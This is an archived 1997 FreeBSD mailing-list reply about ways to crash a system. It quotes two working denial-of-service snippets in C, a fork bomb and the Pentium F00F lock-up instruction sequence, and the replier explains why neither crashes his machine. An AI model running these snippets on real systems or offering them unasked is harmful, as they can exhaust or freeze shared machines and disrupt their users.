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From: Wolfgang Helbig <helbig@Informatik.BA-Stuttgart.DE>
Message-Id: <199711100952.KAA07447@rvc1.informatik.ba-stuttgart.de>
Subject: Re: Crashing FreeBSD
In-Reply-To: <Pine.BSF.3.96.971109204549.3021A-100000@iconoclastic.com> from sporkl at "Nov 9, 97 08:46:56 pm"
To: sporkl@dti.net
Date: Mon, 10 Nov 1997 10:52:22 +0100 (MET)
Cc: 026809r@dragon.acadiau.ca, freebsd-questions@FreeBSD.ORG
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> Well, there are other ways too. 
> 	
> 	1. Toggle power really fast
> 	2. write a "forkbomb":
> #include <stdio.h>
> 
> main() {
> 
>   for(;;) {fork();}
> }

The forkbomb does not crash a FreeBSD system, at least if run
by a user who is not the superuser.
There is a per user limit of process (on my system around 60) and
if reached, those 60 processes will just loop.

They can be killed by the superuser.
> > Well folks, it looks like anyone can crash a FreeBSD box. I am told that
> > this is a bug in the pentium processor. Compile and run, it will crash the
> > machine right away...
> > 
> > Very simple:
> > 
> > 
> > char x [5] = { 0xf0, 0x0f, 0xc7, 0xc8 };
> > 
> > main () {
> >     void (*f)() = x;
> >     f();
> > }

This won't crash my FreeBSD box either, since I its powered by an
old i486 :-) 
Everyone knows by now: Don't use Pentiums for mission critical systems.
Intel choose to make them complex--way beyond what they can master.

Wolfgang